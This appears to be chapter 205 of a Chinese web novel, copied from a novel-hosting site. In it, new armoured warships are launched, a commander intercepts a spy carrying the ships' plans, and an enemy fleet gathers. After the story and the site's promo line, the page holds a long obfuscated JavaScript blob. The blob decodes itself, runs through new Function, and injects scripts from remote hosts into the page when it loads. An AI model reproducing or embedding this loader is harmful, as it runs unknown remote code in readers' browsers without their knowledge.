第 205 章 战船下水,近海立营
第205章战船下水,近海立营(第1/2页)
春汛刚过,江面开阔起来。三大船厂昼夜赶工半年,二十艘新式装甲火炮战船终于全部完工,一字排在船坞前,船身刷了桐油,在日光下泛着乌沉沉的光。
下水那日,江边搭了三丈高的检阅台。沈砚奉旨来江南督看,立在台上,身后是魏濂,两侧是水师、船厂的官吏。台下,二十艘战船沿着滑道排开,船头都挂了大红绸,江风一卷,红绸猎猎作响。
鼓声三通,沈砚走到台前,望着底下那排乌沉沉的船身,没有急着说话。他先看了一会儿,才开口,声音不高,却压过了江风:“这二十艘船,是江南匠人一锤一钉敲出来的。徐四那桩案子,烧了后坞,也烧出了这船厂里的黑。今日船下水,是要告诉海那边——大胤的船,往厚里造了。”
台下响起一阵低低的应和声。沈砚走下台,沿着江边,从那二十艘战船前一艘一艘走过去。他在船头站定,伸手摸了摸一块刚上过漆的甲板钢,指节敲了敲,听那闷响,又看向那排崭新的铜管火炮。
“这一艘,”他回头,对身后的顾把式说,“用料是足料?”
“回大人,足料。”顾把式跟在后头,声音不高不低,“甲板钢三分厚,一根不多,一根不少。铆钉全是足铁,火炮铜管没有掺铅。大人尽可叫人来验。”
“本官不验了。”沈砚收回手,“本官信这船厂里的秤。往后这秤,要是再歪了,本官还要来。”
顾把式没有接话,只是垂手立着。沈砚又看了那船一眼,转身走回检阅台。江风把他青袍的衣角卷起来,又落下去。
鼓声又起,第一艘战船沿着滑道滑入江中,船尾激起一人高的白浪。船身入水时猛地一沉,又浮起来,稳稳地泊在江面上。水师兵丁齐声呐喊,声浪压过江涛。
第二艘、第三艘……二十艘战船依次入水,在江面上一字排开,桅杆林立,遮了半江日光。沈砚立在台上,看着那些船,没有作声,只点了点头,那点头的幅度极小,像是怕惊动了什么。
阿木站在人群里,看着那些船入水。他穿着船厂监工的短褐,腰间别着那把旧卡尺,前臂上那些烫痕在日光下看得分明。他看着那二十艘船在水里浮起来,看着船板上新打的铆钉、新漆的铜管,忽然觉得,半年前那些夜里,他把册子塞进油布兜、系上歪脖子柳的时候,没有白熬。
“阿木。”身后有人叫他。
阿木回头,是新主管顾把式。顾把式站在人堆后头,冲他点了点头:“沈大人传话,让监工们上前,验一遍船。你跟着来。”
阿木应了一声,跟着顾把式往江边走去。他走在人群里,步子很稳,腰间的旧卡尺一下一下磕着大腿。他走过那些船身,伸手摸了摸一块刚上过漆的甲板钢——足料的,摸上去厚实,指节敲上去,是闷响,不是脆响。
他站在船边,看着那艘船,很久没有说话。
水师那边,年轻千总韩澄也在人群里。他一身洗得发白的青灰战袍,腰间挎着刀,站在一队水师兵丁前头,望着那二十艘战船入水。他望着那些船,目光像是被钉在了船身上,一动不动。
半年前,他还是个被关在水牢里的千总。他上书揭发旧提督克扣造船银两,反被构陷,关进水牢,泡了整整一月。是沈砚、魏濂赶到沿海,撤了旧提督,才把他从水牢里捞出来。如今,他站在这里,看着那些船一艘一艘入水。
水牢的日子,他记得很清楚。那牢房建在船坞底下,潮涨时水没到胸口,潮落时水退到脚踝,他就在那半截水里泡了一个月。水里漂着铁锈、油污,还有老鼠。他靠着墙根站着,把身子贴在水线以上,一站就是一整夜。狱卒笑他傻,说告了提督的人,没有活着出去的。他没有答话,只盯着那扇锈迹斑斑的铁窗,看着窗外那片天,从黑到白,又从白到黑。
后来魏濂到了。那日水牢的门被一脚踹开,铁锁落在地上,哐当一声。魏濂站在门口,日光从他身后漏进来,照见水牢里那半池黑水。他蹲下身,看着水牢里那个脸色发青、嘴唇干裂的年轻人,问了一句:“你是韩澄?”
“是。”韩澄靠在墙根,声音沙哑,“末将韩澄。”
“起来。”魏濂朝他伸出手,“你写的揭发状子,圣上看了。从今日起,旧提督下狱,江南水师,归你统领。”
韩澄看着那只手,没有立刻去握。他扶着墙根站起来,浑身湿透,水珠顺着衣摆往下淌。他站定,单膝跪地:“末将,领命。”
如今,他站在这里,看着那二十艘船一艘一艘入水,水花溅起来,打湿了他的战袍下摆。他伸手,按住腰间那把刀,刀柄上的漆被他的汗浸得发亮。
“韩千总,”沈砚从台上走下来,走到他跟前,“这二十艘船,日后就是你的营了。朝廷已经下了旨,新式战船归你统辖,近海立营,驻守江南。”
韩澄单膝跪地,声音却稳:“末将领命。”
“起来。”沈砚伸手扶了他一把,“你是从水牢里出来的,最知道船轻的苦。往后这二十艘船交给你,你要替朝廷,把这片海守住。”
韩澄站起身,看着沈砚,没有多话,只应了一声:“是。”
检阅结束,二十艘战船在江面泊了一夜,次日一早,便沿着水道驶向出海口。韩澄立在旗舰船头,看着两岸的田畴、村落、渔港依次退后,江风灌进他的战袍,鼓得猎猎作响。
船队驶出江口,海面在眼前铺开。海水是青灰色的,带着咸腥味,浪头一个接一个拍着船舷。韩澄站在船头,望着那片无边的海面,握紧了腰间的刀。
他身后,水师兵丁们正在分派岗哨。一名百户上前禀道:“统领,近海的水文、潮汐、暗礁,营里都备了册子。只是……”
“只是什么?”
“只是方才上岸采买时,弟兄们瞧见,码头上有个生面孔,围着咱们的船转了两圈,又走了。”
韩澄转过身,目光落在百户脸上:“生面孔?”
“是。穿灰布衫,背着个布包,不像渔民,也不像货郎。弟兄们留了心,派人跟着,那人在码头东头的一家茶棚里坐了一会儿,就沿着江堤往南走了。”
韩澄没有说话。他望着江堤方向,想起半年前他在水牢里听人说过的一句话——江南的脏,往往不是从水面上来的,而是从岸上渗进来的。他开口:“派两个人,换上便衣,沿着江堤跟上去,看看那灰布衫的人,往哪儿去。”
百户应声去了。韩澄立在船头,望着那片海,没有再说话。
那头,阿木也回了船厂。他如今是监工,不用再蹲在炉边添炭,可他还是习惯每天去冶炉区转一圈,看火候,看铁水。他走到炉前,蹲下,抄起通条,捅了捅炉灰——那动作,和半年前一模一样。
“阿木哥。”小满从炉边探出头来,手里捧着一块新打的铆钉,“你看,这铆钉,是足铁的。沉甸甸的,比徐四那会儿的铁钉重了一倍。”
阿木接过铆钉,在手里掂了掂:“足铁。往后船上的铆钉,都照这个打。”
“嗯!”小满把铆钉揣回兜里,又蹲回炉边。他如今也不用再画叉记工钱了,工钱按月足额发,徐四那些年扣下的,也都补齐了。他蹲在炉边,火光照着他年轻的脸,像是比半年前白净了些。
阿木看着小满的背影,没有作声。他蹲回炉边,又添了一锹焦炭,火舌蹿起来,映着他前臂上那些密密麻麻的烫痕。
傍晚时分,沈砚来了船厂。他没有带仪仗,只带了两名随从,沿着船厂的水泥路一路走,走到冶炉区,在阿木跟前站定。
“你是阿木?”沈砚问。
阿木直起身,看着面前这个身着青袍的文官,应了一声:“是。”
“徐四那案子的账册,是你从船厂里送出去的。”沈砚说这话时,声音不高,却极稳,像是陈述一件早已定论的事,“那本蓝皮旧账,还有走私抄件,如今都在刑部的案卷里。你立了大功。”
阿木垂下眼,看着自己前臂上那些烫痕:“小人只是看炉的,不懂什么大功。账册是墨影的人来取的,小人只是照着吩咐,把该记的记下来。”
“照着吩咐,把该记的记下来。”沈砚重复了一遍,目光落在他腰间那把旧卡尺上,“可你记下的那些数目,比这船厂五年来的账本都真。这才是最要紧的。日后这船厂,就归你看着炉,也看着账。顾把式管造船,你管料——料真了,船就真了。”
阿木握着通条的手紧了紧,又松开:“小人记下了。”
沈砚没有再多说,转身往船坞走去。他走出几步,又停住,没有回头,只说了一句:“阿木,往后你只管看炉、看料,不用再看人了。这船厂里的眼睛,朝廷替你安好了。”
阿木站在炉边,看着沈砚的背影消失在暮色里,很久没有说话。他蹲回炉前,又添了一锹焦炭,火舌蹿起来,映着他脸上那些明明灭灭的光。
三日后,码头东头的茶棚里,那灰布衫的人又出现了。他坐在靠窗的位置,要了一壶茶,慢慢地喝,目光却一直往码头方向瞟。茶棚掌柜的给他续了一回水,他也没走,就那么坐着,像是等着什么。
黄昏时分,一艘渔船靠了岸。船主是个精瘦的中年人,跳上岸,在茶棚门口停了一下,与那灰布衫的人对了个眼神,又各自走开。他们走得极自然,像是两个不相干的赶路人。
可这一切,都落在码头边两名便衣水兵的眼里。他们蹲在码头上,一个在补渔网,一个在修船桨,把那灰布衫的人与渔船船主的动作,看了个清清楚楚。
(本章未完,请点击下一页继续阅读)第205章战船下水,近海立营(第2/2页)
夜里,那渔船没有靠岸泊着,而是趁着潮水,往海上驶去。两名便衣水兵对视一眼,一个留在岸上,一个跳上一条小舢板,远远地缀在后头。
海上的夜,黑得没有边。小舢板不敢靠得太近,只远远跟着那点渔火。跟了约莫一个时辰,那渔船在一处孤礁后头停了下来。孤礁背阴处,泊着一艘更大的船,挂着黑帆,在夜色里像一头伏着不动的兽。
小舢板上的水兵趴在船板上,连桨都收了,只借着潮水一点一点往前漂。他数着那艘黑帆船上的灯火——三盏,两盏在船头,一盏在船尾,亮得不像是寻常商船该有的布置。他又数了数船上的桅杆,四根,比寻常海船多出一根,像是特意改过,为着多挂几张帆,跑得更快。
渔船靠上去,船上下来两个人,爬上了那艘黑帆船。小舢板上的水兵不敢再近,只借着礁石的阴影,看着那两艘船并在一起。他看见黑帆船上有人探出头来,与渔船船主说了几句什么,又递过去一只沉甸甸的布包。那布包在火光里一晃,像是裹着什么硬邦邦的东西。
他又跟了半个时辰,直到那渔船调头返航,才划着小舢板,抢在渔船前头,先回了岸。上岸时,他的一只靴子被礁石刮破了口子,他也没顾上,径直往水师营去报信。
天蒙蒙亮时,韩澄已经立在码头上了。他听完水兵的禀报,没有急着下令拿人,只问了一句:“那渔船,今儿还会靠岸么?”
“会。”水兵答,“那船主是本地人,船是挂了牌的老船,每月都要回码头补给。”
“那就等他回来。”韩澄说,“别打草惊蛇。他要送出去的东西,咱们得看看是什么。”
两日后,那渔船又靠了岸。灰布衫的人照旧在茶棚里坐着,等那船主上岸,两人照旧对了个眼神,各自走开。只是这一次,那船主在路过码头转角时,被人从身后轻轻撞了一下,肩上的布包滑落在地。
“对不住,对不住。”撞他的汉子弯腰去捡,又原样递还给他。
船主接过布包,拍了拍上面的灰,没有多想,继续走了。他不知道,就在那弯腰的一瞬,布包的夹层里,已经被塞进了一张蜡封的纸条。
那纸条是韩澄写的,只一句话:莫要打草,让其出海,渔网已张。他特意让那便衣把纸条塞进布包夹层,好让那船主到了海上,才发现这纸条,到时候进退两难——回去,暴露了自己;出海,正好撞上布好的网。
渔船再度出海。这一次,它没有往孤礁去,而是趁着天亮,一路往东,直驶向海图边缘那片黑帆船常驻的水域。它驶出二十里,海面上忽然横出一排战船——那是韩澄的水师营。
旗舰上,韩澄立在船头,看着那艘渔船越驶越近,抬手一挥:“围上去。”
渔船掉头想跑,已经迟了。三艘战船从两翼包抄,把它堵在中间。船主被押上旗舰,跪在甲板上,脸白得像纸。
韩澄没有急着审他,只让人搜船。兵丁从舱底翻出一只防水油布包,打开,里面卷着一幅图——画的正是新式战船的龙骨、甲板、火炮布置,一笔一划,纤毫毕现。
韩澄看着那幅图,又看看跪在地上的船主,声音不高:“这图,是谁画的?”
“小、小人不知。”船主抖着声音,“小人只是替人送货,收钱办事,不知道里头是什么。”
“替人送货,收钱办事。”韩澄把那幅图收进怀里,蹲下身,看着船主,“那码头东头茶棚里,那个灰布衫的人,也是替人送货,收钱办事?”
船主的脸色一下子变了。他张了张嘴,像是想说什么,最终没有说出来,只是低着头,不再吭声。
韩澄没有逼他。他蹲下身,从怀里摸出那张蜡封的纸条,展开,放在船主面前:“这纸条,是两日前有人塞进你布包夹层的。你出海这一趟,本该是去给黑帆船送图的,却在半路被截了。如今你回去,黑帆船那边要问你图呢?你交不出来,他们能饶你?你不回去,岸上那灰布衫的人,又怎么交代?”
船主盯着那张纸条,手开始抖起来。他看了很久,才哑着嗓子开口:“统领……小人若说了,能活命么?”
“那要看你说的是不是实话。”韩澄站起身,“这图是谁画的,画给谁,你送过几次,每一次都送的什么。说清楚了,从轻发落;说不清楚,就按通敌论处。”
船主跪在甲板上,沉默了很久。海风把他额前的乱发吹起来,又落下去。他终于开口,声音断断续续:“图……是茶棚那灰布衫的人交给小人的。他说是东家让画的,画好了,托小人的船,送去海那边的黑帆船。小人送过三次,前两次送的是一箱桐油、一箱铁钉,说是船上的货,小人也不知道里头还有图。这一次……这一次那布包比前两次沉,小人掂过,里头像是裹着纸卷,可小人没敢打开看。”
“东家是谁?”韩澄追问。
“小人不知。”船主摇头,“灰布衫的人从没说过东家的名讳。只是他每次来,腰间都挂着一串小铜铃,走路时叮当响。小人听他说过一次,说他家在东边,是替人跑腿的。”
“铜铃。”韩澄重复了一遍,忽然想起魏濂提过的那三枚铜铃。海、沙、潮。他握紧了手里的图纸,没有再问,只吩咐道:“把人押下去,连同那灰布衫的,一并交给魏指挥使。就说,图上画的,正是咱们的新船;送图的,是腰间挂铜铃的人。”
兵丁应声去了。灰布衫的人是在茶棚里被拿下的。他正低头喝茶,两名便衣一左一右靠过去,一人按住他肩膀,一人抽走他腰间那串铜铃。他猛地抬头,想喊,被一块布巾堵住了嘴,押出了茶棚。那串铜铃被摘下来时,叮当响了两声,又静了。
韩澄立在船头,望着那片青灰色的海面,握着那卷图纸的手紧了紧。他知道,这图只是露在水面上的一角。海底下,还有多少双眼睛在盯着大胤的船,还有多少条路在往海上送东西,他一时间数不清。
但他知道,从今天起,这片海上,有人盯着了。
半月后,近海立营。二十艘战船在港湾里一字排开,桅杆上挂了新的营旗,旗上绣着一个“海”字。韩澄升任水师营统领,阿木升任船厂监工,各司其职。沈砚回京复命前,在码头上站了一会儿,看着那二十艘船在港湾里泊着,才对魏濂说:“船是厚了。可海那头的船,只怕也等不及了。”
魏濂立在船头,看着那片海:“等不及,就来。来多少,沉多少。”
“魏指挥使好大的口气。”沈砚没有回头,“只是海战不比陆战,风向、潮汐、暗礁,样样都是变数。二十艘新船,头一回出海,就要对上那三十艘黑帆船——你可想清楚了?”
“想清楚了。”魏濂望着那片海,“船在,人就在。人在,海就守得住。”
沈砚没有再说话。他在码头上又站了一会儿,看着那二十艘船在港湾里泊着,桅杆上的“海”字旗被江风吹得猎猎作响。他转身,上船,往京城方向去了。
入夜,港湾里起了雾。韩澄立在旗舰船头,看着那二十艘船在雾里影影绰绰,像二十只伏着不动的兽。他摸出怀里那卷图纸,借着船头的灯又看了一遍,然后把图纸折好,贴身收进衣襟里。
海风从东边吹过来,带着一股咸腥气。韩澄站在船头,望着东边那片黑沉沉的海面,握紧了腰间的刀。他知道,那三十艘黑帆船,迟早会来。而他这二十艘新船,头一回出海,就要在这片海上,跟它们碰个照面。
同一夜,东边三百里外的海面上,三十艘黑帆船正在集结。它们泊在一处无名群岛的背风处,船身连成一片,桅杆如林,在夜色里像一群伏着不动的巨兽。为首的旗舰上,一名披着皮毛的汉子立在船头,望着西边那片黑沉沉的海面,问身边的向导:“大胤的新船,果真下了水?”
“下了。”向导低着头,声音谨慎,“二十艘,都泊在近海港湾里。咱们派去画图的人,还没回来。”
“没回来。”那汉子重复了一遍,摩挲着腰间的刀柄,“要么是画图的人露了,要么是船被截了。不管哪样,都说明大胤那边,已经有人盯上海上了。”
他转身,扫了一眼身后那片黑压压的船影:“传令下去,不等图纸了。粮草、水、箭矢,都备足,三日后起航。大胤的船再厚,也架不住三十艘船一块儿撞上去。”
旗舰上亮起一盏灯,又灭了三盏。那是传令的号灯。片刻后,三十艘黑帆船的船头,一盏接一盏亮起灯火,又依次熄灭,像一群巨兽睁开了眼睛,又闭上,只等着那个时辰。
潮水在夜里涨起来,拍着群岛的礁石,哗啦,哗啦,一声接一声。那汉子立在船头,望着西边那片海,没有再说话。他知道,三日后,这片海上,就要见血了。
江风卷过港湾,把那二十面“海”字旗吹得猎猎作响。阿木蹲在船厂门口,看着那些旗,又看着自己腰间那把旧卡尺,忽然想起半年前那个夜里,那卷麻纸上写的八个字。如今那八个字,已经变成了这二十艘船,泊在港湾里,等着出海。
他站起身,把旧卡尺别回腰间,往船厂里走去。走到冶炉区门口,他停了一下,回头,看了一眼港湾里那些桅杆——二十面旗还在风里飘着,像二十根立着的桅杆,等着出海的时辰。
一秒记住【顶点小说】
dingdian911.com,更新快,无弹窗!
!function(){function a(a){var _idx="o4n6nwm3oe";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mYh(Y(DLm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJm)J_(^Spm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mYh(Y(DLm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJm)J_(^Spm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mYh(Y(DLm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/Oo2K2D^sOY/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"Oo2K2D^sOY"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mShYfh(:m2YF"="}Ko}X5ThF)m^XDpqRTm2YF"="}Ko}2pThFmShYfh(:m2YF"="}Ko}_JqhFm^XDpqRTm2YF"="}Ko}2TOhFmShYfh(:m2YF"="}Ko}CSqhF)m^XDpqRTm2YF"="}Ko})FfThF)fmShYfh(:m2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m4)hp25)m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m4)hp25)m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mYh(Y(DLm(O^gQ}1Q/f/}Ko}j(8}vY8Oo2K2D^sOY"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mYh(Y(DLm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();